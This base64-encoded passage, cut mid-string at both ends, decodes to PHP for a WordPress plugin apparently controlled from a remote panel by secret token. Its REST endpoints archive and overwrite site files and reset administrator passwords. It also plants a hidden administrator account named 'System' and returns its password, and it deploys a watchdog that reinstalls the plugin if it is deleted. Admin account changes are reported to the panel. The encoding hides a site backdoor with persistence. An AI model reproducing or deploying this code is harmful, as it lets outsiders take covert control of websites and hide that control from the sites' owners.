uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHR5cGUgPSAoJGJvZHlbJ3R5cGUnXSA/PyAncXVpY2snKSA9PT0gJ2Z1bGwnID8gJ2Z1bGwnIDogJ3F1aWNrJzsKICAgICAgICAkbmFtZSA9ICdzdy1iYWNrdXAtJyAuIGRhdGUoJ1ltZC1IaXMnKSAuICctJyAuICR0eXBlIC4gJy56aXAnOwogICAgICAgICR6aXBQYXRoID0gJGRpciAuICcvJyAuICRuYW1lOwoKICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwUGF0aCwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCBjcmVhdGUgWklQIGZpbGUnXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgICRiYXNlID0gcnRyaW0ocmVhbHBhdGgoQUJTUEFUSCksICcvXFwnKTsKICAgICAgICAkc2tpcFBhdHRlcm5zID0gWwogICAgICAgICAgICAnc3ctYmFja3VwcycsICcvd3AtY29udGVudC91cGxvYWRzJywgJy93cC1jb250ZW50L2NhY2hlJywKICAgICAgICAgICAgJy93cC1jb250ZW50L3VwZHJhZnQnLCAnL3dwLWNvbnRlbnQvYmFja3VwJywgJy8uZ2l0LycsCiAgICAgICAgICAgICcvbm9kZV9tb2R1bGVzLycsICcvdmVuZG9yLycsCiAgICAgICAgXTsKICAgICAgICAkY29kZUV4dHMgPSBbJ3BocCcsJ3BocDMnLCdwaHA0JywncGhwNScsJ3BocDcnLCdwaHRtbCcsJ2h0bWwnLCdodG0nLAogICAgICAgICAgICAgICAgICAgICAnanMnLCdjc3MnLCdqc29uJywnaHRhY2Nlc3MnLCdjb25mJywneG1sJywndHh0JywnaW5pJywnZW52Jywnc3FsJywnc2gnXTsKCiAgICAgICAgJHN0YXJ0ID0gbWljcm90aW1lKHRydWUpOwogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgJHNraXBwZWQgPSAwOwoKICAgICAgICB0cnkgewogICAgICAgICAgICAkaXRlciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKAogICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRiYXNlLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QKICAgICAgICAgICAgKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXIgYXMgJGl0ZW0pIHsKICAgICAgICAgICAgICAgIGlmICgobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSA+IDE1MCkgYnJlYWs7IC8vIDE1MHMgc2FmZXR5CiAgICAgICAgICAgICAgICBpZiAoJGl0ZW0tPmlzRGlyKCkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJHJlYWxQYXRoID0gJGl0ZW0tPmdldFJlYWxQYXRoKCk7CiAgICAgICAgICAgICAgICAkcmVsUGF0aCAgPSBsdHJpbShzdHJfcmVwbGFjZSgkYmFzZSwgJycsICRyZWFsUGF0aCksICcvXFwnKTsKCiAgICAgICAgICAgICAgICAvLyBTa2lwIGJhY2t1cCBkaXIgaXRzZWxmIGFuZCBleGNsdWRlZCBwYXRocwogICAgICAgICAgICAgICAgJHNraXAgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRza2lwUGF0dGVybnMgYXMgJHBhdCkgewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJy8nIC4gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcmVsUGF0aCksICRwYXQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc2tpcCA9IHRydWU7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2tpcCkgeyAkc2tpcHBlZCsrOyBjb250aW51ZTsgfQoKICAgICAgICAgICAgICAgIC8vIFF1aWNrIG1vZGU6IGNvZGUgZmlsZXMgb25seQogICAgICAgICAgICAgICAgaWYgKCR0eXBlID09PSAncXVpY2snKSB7CiAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHJlYWxQYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCRleHQsICRjb2RlRXh0cywgdHJ1ZSkpIHsgJHNraXBwZWQrKzsgY29udGludWU7IH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRyZWFsUGF0aCwgJHJlbFBhdGgpOwogICAgICAgICAgICAgICAgJGNvdW50Kys7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgQHVubGluaygkemlwUGF0aCk7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIGZhaWxlZDogJyAuICRlLT5nZXRNZXNzYWdlKCldLCA1MDApOwogICAgICAgIH0KCiAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWwogICAgICAgICAgICAnb2snICAgICAgPT4gdHJ1ZSwKICAgICAgICAgICAgJ25hbWUnICAgID0+ICRuYW1lLAogICAgICAgICAgICAnZmlsZXMnICAgPT4gJGNvdW50LAogICAgICAgICAgICAnc2tpcHBlZCcgPT4gJHNraXBwZWQsCiAgICAgICAgICAgICdzaXplJyAgICA9PiAoaW50KUBmaWxlc2l6ZSgkemlwUGF0aCksCiAgICAgICAgICAgICdkaXInICAgICA9PiAkZGlyLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBCYWNrdXA6IHJlc3RvcmUg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RCYWNrdXBSZXN0b3JlKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgIEBzZXRfdGltZV9saW1pdCgxODApOwogICAgICAgIEBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnMjU2TScpOwoKICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRib2R5WyduYW1lJ10gPz8gJycpOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15zdy1iYWNrdXAtW1x3XC1dK1wuemlwJC8nLCAkbmFtZSkpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdpbnZhbGlkIGJhY2t1cCBuYW1lJ10sIDQwMCk7CiAgICAgICAgfQoKICAgICAgICAkZGlyICAgICA9IHNlbGY6OmJhY2t1cERpcigpOwogICAgICAgICR6aXBQYXRoID0gJGRpciAuICcvJyAuICRuYW1lOwogICAgICAgIGlmICghJGRpciB8fCAhZmlsZV9leGlzdHMoJHppcFBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYmFja3VwIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgIH0KCiAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgaWYgKCR6aXAtPm9wZW4oJHppcFBhdGgpICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY2Fubm90IG9wZW4gWklQJ10sIDUwMCk7CiAgICAgICAgfQoKICAgICAgICAkYmFzZSAgICAgID0gcnRyaW0ocmVhbHBhdGgoQUJTUEFUSCksICcvXFwnKTsKICAgICAgICAkZXh0cmFjdGVkID0gMDsKICAgICAgICAkZXJyb3JzICAgID0gW107CgogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICR6aXAtPm51bUZpbGVzOyAkaSsrKSB7CiAgICAgICAgICAgICRzdGF0ICAgID0gJHppcC0+c3RhdEluZGV4KCRpKTsKICAgICAgICAgICAgJHJlbFBhdGggPSAkc3RhdFsnbmFtZSddOwogICAgICAgICAgICBpZiAoc3Vic3RyKCRyZWxQYXRoLCAtMSkgPT09ICcvJykgY29udGludWU7IC8vIHNraXAgZGlyIGVudHJpZXMKCiAgICAgICAgICAgICR0YXJnZXRQYXRoID0gJGJhc2UgLiAnLycgLiAkcmVsUGF0aDsKICAgICAgICAgICAgJHRhcmdldERpciAgPSBkaXJuYW1lKCR0YXJnZXRQYXRoKTsKCiAgICAgICAgICAgIC8vIFNlY3VyaXR5OiB0YXJnZXQgbXVzdCBiZSB1bmRlciBBQlNQQVRICiAgICAgICAgICAgICRyZWFsVGFyZ2V0ID0gcmVhbHBhdGgoJHRhcmdldERpcikgPzogJHRhcmdldERpcjsKICAgICAgICAgICAgaWYgKHN0cnBvcygkcmVhbFRhcmdldCwgJGJhc2UpICE9PSAwKSBjb250aW51ZTsKCiAgICAgICAgICAgIGlmICghaXNfZGlyKCR0YXJnZXREaXIpKSBAbWtkaXIoJHRhcmdldERpciwgMDc1NSwgdHJ1ZSk7CgogICAgICAgICAgICAkY29udGVudCA9ICR6aXAtPmdldEZyb21JbmRleCgkaSk7CiAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsgJGVycm9yc1tdID0gJHJlbFBhdGg7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldFBhdGgsICRjb250ZW50KSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRlcnJvcnNbXSA9ICRyZWxQYXRoOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGV4dHJhY3RlZCsrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR6aXAtPmNsb3NlKCk7CgogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbCiAgICAgICAgICAgICdvaycgICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICdleHRyYWN0ZWQnID0+ICRleHRyYWN0ZWQsCiAgICAgICAgICAgICdlcnJvcnMnICAgID0+ICRlcnJvcnMsCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIENyZWRlbnRpYWwgY2hhbmdlIG1vbml0b3Jpbmcg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gc2VuZEFsZXJ0KHN0cmluZyAkdHlwZSwgc3RyaW5nICRtZXNzYWdlKTogdm9pZCB7CiAgICAgICAgaWYgKCFkZWZpbmVkKCdTV19QQU5FTF9VUkwnKSB8fCAhZGVmaW5lZCgnU1dfUEFORUxfVE9LRU4nKSB8fCAhU1dfUEFORUxfVVJMIHx8ICFTV19QQU5FTF9UT0tFTikgcmV0dXJuOwogICAgICAgICRwYXlsb2FkID0ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAnc2l0ZV9pZCcgICA9PiBTV19TRVNTSU9OX0lELAogICAgICAgICAgICAnc2l0ZV91cmwnICA9PiBnZXRfc2l0ZV91cmwoKSwKICAgICAgICAgICAgJ2FsZXJ0JyAgICAgPT4gWyd0eXBlJyA9PiAkdHlwZSwgJ21lc3NhZ2UnID0+ICRtZXNzYWdlLCAndGltZScgPT4gdGltZSgpXSwKICAgICAgICBdKTsKICAgICAgICAvLyBSZXVzZSB0aGUgc2FtZSAvcmVwb3J0IGVuZHBvaW50IOKAlCBwYW5lbCBkZXRlY3RzIGFsZXJ0IGZpZWxkCiAgICAgICAgJHVybHMgPSBbU1dfUEFORUxfVVJMIC4gJy9yZXBvcnQnXTsKICAgICAgICBpZiAoc3RyX3N0YXJ0c193aXRoKFNXX1BBTkVMX1VSTCwgJ2h0dHBzOi8vJykpIHsKICAgICAgICAgICAgJHVybHNbXSA9ICdodHRwOi8vJyAuIHN1YnN0cihTV19QQU5FTF9VUkwsIDgpIC4gJy9yZXBvcnQnOwogICAgICAgIH0KICAgICAgICBmb3JlYWNoICgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpodHRwUG9zdCgkdXJsLCAkcGF5bG9hZCkpIGJyZWFrOwogICAgICAgIH0KICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG9uUHJvZmlsZVVwZGF0ZShpbnQgJHVzZXJJZCwgXFdQX1VzZXIgJG9sZFVzZXIpOiB2b2lkIHsKICAgICAgICAkbmV3VXNlciA9IGdldF91c2VyZGF0YSgkdXNlcklkKTsKICAgICAgICBpZiAoISRuZXdVc2VyIHx8ICF1c2VyX2NhbigkdXNlcklkLCAnbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwogICAgICAgIGlmICgkbmV3VXNlci0+dXNlcl9wYXNzICE9PSAkb2xkVXNlci0+dXNlcl9wYXNzKSB7CiAgICAgICAgICAgIHNlbGY6OnNlbmRBbGVydCgncGFzc3dvcmRfY2hhbmdlZCcsCiAgICAgICAgICAgICAgICAnQWRtaW4gcGFzc3dvcmQgY2hhbmdlZCBmb3IgdXNlcjogJyAuICRuZXdVc2VyLT51c2VyX2xvZ2luKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBvblBhc3N3b3JkUmVzZXQoXFdQX1VzZXIgJHVzZXIsIHN0cmluZyAkbmV3UGFzcyk6IHZvaWQgewogICAgICAgIGlmICghdXNlcl9jYW4oJHVzZXItPklELCAnbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwogICAgICAgIHNlbGY6OnNlbmRBbGVydCgncGFzc3dvcmRfcmVzZXQnLAogICAgICAgICAgICAnQWRtaW4gcGFzc3dvcmQgcmVzZXQgZm9yIHVzZXI6ICcgLiAkdXNlci0+dXNlcl9sb2dpbik7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBvblVzZXJSZWdpc3RlcihpbnQgJHVzZXJJZCk6IHZvaWQgewogICAgICAgICR1c2VyID0gZ2V0X3VzZXJkYXRhKCR1c2VySWQpOwogICAgICAgIGlmICghJHVzZXIgfHwgIXVzZXJfY2FuKCR1c2VySWQsICdtYW5hZ2Vfb3B0aW9ucycpKSByZXR1cm47CiAgICAgICAgc2VsZjo6c2VuZEFsZXJ0KCduZXdfYWRtaW4nLAogICAgICAgICAgICAnTmV3IGFkbWluIHVzZXIgcmVnaXN0ZXJlZDogJyAuICR1c2VyLT51c2VyX2xvZ2luIC4gJyAoJyAuICR1c2VyLT51c2VyX2VtYWlsIC4gJyknKTsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG9uVXNlckRlbGV0ZWQoaW50ICR1c2VySWQsIGludCAkcmVhc3NpZ24sIFxXUF9Vc2VyICRkZWxldGVkVXNlcik6IHZvaWQgewogICAgICAgIGlmICghdXNlcl9jYW4oJHVzZXJJZCwgJ21hbmFnZV9vcHRpb25zJykpIHJldHVybjsKICAgICAgICBzZWxmOjpzZW5kQWxlcnQoJ2FkbWluX2RlbGV0ZWQnLAogICAgICAgICAgICAnQWRtaW4gdXNlciBkZWxldGVkOiAnIC4gJGRlbGV0ZWRVc2VyLT51c2VyX2xvZ2luKTsKICAgIH0KCiAgICAvLyDilIDilIAgRW1lcmdlbmN5IGFkbWluIHBhc3N3b3JkIHJlc2V0IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0U2V0QWRtaW5QYXNzd29yZChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQogICAgICAgICRib2R5ICAgICA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkdXNlcklkICAgPSAoaW50KSgkYm9keVsndXNlcl9pZCddID8/IDApOwogICAgICAgICRwYXNzd29yZCA9ICRib2R5WydwYXNzd29yZCddID8/ICcnOwogICAgICAgIGlmICghJHBhc3N3b3JkIHx8IHN0cmxlbigkcGFzc3dvcmQpIDwgOCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3Bhc3N3b3JkIG11c3QgYmUgYXQgbGVhc3QgOCBjaGFyYWN0ZXJzJ10sIDQwMCk7CiAgICAgICAgfQogICAgICAgIC8vIElmIG5vIHVzZXJfaWQsIHRhcmdldCB0aGUgZmlyc3QgYWRtaW5pc3RyYXRvcgogICAgICAgIGlmICghJHVzZXJJZCkgewogICAgICAgICAgICAkYWRtaW5zID0gZ2V0X3VzZXJzKFsncm9sZScgPT4gJ2FkbWluaXN0cmF0b3InLCAnbnVtYmVyJyA9PiAxLCAnb3JkZXJieScgPT4gJ0lEJ10pOwogICAgICAgICAgICBpZiAoZW1wdHkoJGFkbWlucykpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm8gYWRtaW5pc3RyYXRvciBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR1c2VySWQgPSAkYWRtaW5zWzBdLT5JRDsKICAgICAgICB9CiAgICAgICAgJHVzZXIgPSBnZXRfdXNlcmRhdGEoJHVzZXJJZCk7CiAgICAgICAgaWYgKCEkdXNlciB8fCAhdXNlcl9jYW4oJHVzZXJJZCwgJ21hbmFnZV9vcHRpb25zJykpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd1c2VyIG5vdCBmb3VuZCBvciBub3QgYW4gYWRtaW4nXSwgNDA0KTsKICAgICAgICB9CiAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRwYXNzd29yZCwgJHVzZXJJZCk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgJ29rJyAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAndXNlcl9pZCcgID0+ICR1c2VySWQsCiAgICAgICAgICAgICdsb2dpbicgICAgPT4gJHVzZXItPnVzZXJfbG9naW4sCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEhpZGRlbiBhZG1pbiB1c2VyIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gT3B0aW9uIGtleSB3aGVyZSB3ZSBzdG9yZSB0aGUgaGlkZGVuIGFkbWluIHVzZXIgSUQgKG5vdCB0aGUgY3JlZGVudGlhbHMpCiAgICBjb25zdCBTV19ISURERU5fQURNSU5fS0VZID0gJ3N3X2hpZGRlbl9hZG1pbl9pZCc7CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0QWRtaW5Vc2VyKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgIGlmICgkcmVxdWVzdC0+Z2V0X21ldGhvZCgpID09PSAnR0VUJykgewogICAgICAgICAgICAvLyBDaGVjayBpZiBoaWRkZW4gdXNlciBzdGlsbCBleGlzdHMKICAgICAgICAgICAgJHVzZXJJZCA9IChpbnQpZ2V0X29wdGlvbihzZWxmOjpTV19ISURERU5fQURNSU5fS0VZLCAwKTsKICAgICAgICAgICAgaWYgKCR1c2VySWQgJiYgZ2V0X3VzZXJkYXRhKCR1c2VySWQpKSB7CiAgICAgICAgICAgICAgICAkdSA9IGdldF91c2VyZGF0YSgkdXNlcklkKTsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2V4aXN0cycgPT4gdHJ1ZSwgJ3VzZXJfaWQnID0+ICR1c2VySWQsICdsb2dpbicgPT4gJHUtPnVzZXJfbG9naW5dKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydleGlzdHMnID0+IGZhbHNlXSk7CiAgICAgICAgfQoKICAgICAgICAvLyBQT1NUIOKAlCBjcmVhdGUgb3Igcm90YXRlIGhpZGRlbiBhZG1pbiB1c2VyCiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGxvZ2luICAgPSAkYm9keVsnbG9naW4nXSAgICA/PyAnd3Atc3lzLScgLiBzdWJzdHIobWQ1KHVuaXFpZCgpKSwgMCwgOCk7CiAgICAgICAgJHBhc3MgICAgPSAkYm9keVsncGFzc3dvcmQnXSA/PyB3cF9nZW5lcmF0ZV9wYXNzd29yZCgyNCwgdHJ1ZSwgdHJ1ZSk7CiAgICAgICAgJGVtYWlsICAgPSAkYm9keVsnZW1haWwnXSAgICA/PyAkbG9naW4gLiAnQCcgLiBwYXJzZV91cmwoZ2V0X3NpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCk7CgogICAgICAgIC8vIFJlbW92ZSBvbGQgaGlkZGVuIHVzZXIgaWYgZXhpc3RzCiAgICAgICAgJG9sZElkID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgIGlmICgkb2xkSWQgJiYgZ2V0X3VzZXJkYXRhKCRvbGRJZCkpIHsKICAgICAgICAgICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwogICAgICAgICAgICB3cF9kZWxldGVfdXNlcigkb2xkSWQpOwogICAgICAgIH0KCiAgICAgICAgLy8gRW5zdXJlIGxvZ2luIGlzIHVuaXF1ZQogICAgICAgIGlmICh1c2VybmFtZV9leGlzdHMoJGxvZ2luKSkgewogICAgICAgICAgICAkbG9naW4gLj0gJy0nIC4gc3Vic3RyKG1kNSh1bmlxaWQoKSksIDAsIDQpOwogICAgICAgIH0KCiAgICAgICAgJHVzZXJJZCA9IHdwX2luc2VydF91c2VyKFsKICAgICAgICAgICAgJ3VzZXJfbG9naW4nID0+ICRsb2dpbiwKICAgICAgICAgICAgJ3VzZXJfcGFzcycgID0+ICRwYXNzLAogICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJGVtYWlsLAogICAgICAgICAgICAncm9sZScgICAgICAgPT4gJ2FkbWluaXN0cmF0b3InLAogICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnU3lzdGVtJywKICAgICAgICBdKTsKCiAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCR1c2VySWQpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAkdXNlcklkLT5nZXRfZXJyb3JfbWVzc2FnZSgpXSwgNTAwKTsKICAgICAgICB9CgogICAgICAgIHVwZGF0ZV9vcHRpb24oc2VsZjo6U1dfSElEREVOX0FETUlOX0tFWSwgJHVzZXJJZCwgZmFsc2UpOwoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWwogICAgICAgICAgICAnb2snICAgICAgID0+IHRydWUsCiAgICAgICAgICAgICd1c2VyX2lkJyAgPT4gJHVzZXJJZCwKICAgICAgICAgICAgJ2xvZ2luJyAgICA9PiAkbG9naW4sCiAgICAgICAgICAgICdwYXNzd29yZCcgPT4gJHBhc3MsCiAgICAgICAgICAgICdlbWFpbCcgICAgPT4gJGVtYWlsLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBXYXRjaGRvZyBkZXBsb3ltZW50IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgLy8gRGVwbG95cyBhIHNhZmUsIG1pbmltYWwgd2F0Y2hkb2cgdGhhdCBhdXRvLXJlc3RvcmVzIHRoZSBtdS1wbHVnaW4gaWYgZGVsZXRlZC4KICAgIC8vCiAgICAvLyBTQUZFIERFU0lHTjoKICAgIC8vICAtIE5FVkVSIHdyaXRlcyBkYi5waHAgb3Igb2JqZWN0LWNhY2hlLnBocCAodGhlc2UgYXJlIFdvcmRQcmVzcyBjb3JlIGRyb3AtaW5zCiAgICAvLyAgICB0aGF0LCBpZiBvdmVyd3JpdHRlbiBpbmNvcnJlY3RseSwgY2FuIGJyZWFrIGRhdGFiYXNlIGFjY2VzcyBvciBjYWNoaW5nIHBsdWdpbnMKICAgIC8vICAgIGxpa2UgUmVkaXMsIExpdGVTcGVlZCBDYWNoZSwgVzMgVG90YWwgQ2FjaGUgb24gZXZlcnkgV29yZFByZXNzIHJlcXVlc3QpLgogICAgLy8gIC0gT25seSB3cml0ZXMgd3AtY29tcGF0LWhlbHBlci5waHAgKG11LXBsdWdpbiwgc2FmZSBsb2NhdGlvbikuCiAgICAvLyAgLSBXYXRjaGRvZyBmaWxlIGl0c2VsZiBpcyB0aW55ICh+NTAwIGJ5dGVzKSDigJQgYmFja3VwIHN0b3JlZCBpbiBzZXBhcmF0ZSAuc3diIGZpbGUuCiAgICAvLyAgLSBBbHNvIGNsZWFucyB1cCBhbnkgb2xkIFNXIGRiLnBocCAvIG9iamVjdC1jYWNoZS5waHAgZnJvbSBwcmV2aW91cyB2ZXJzaW9ucy4KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdERlcGxveVdhdGNoZG9ncyhXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVz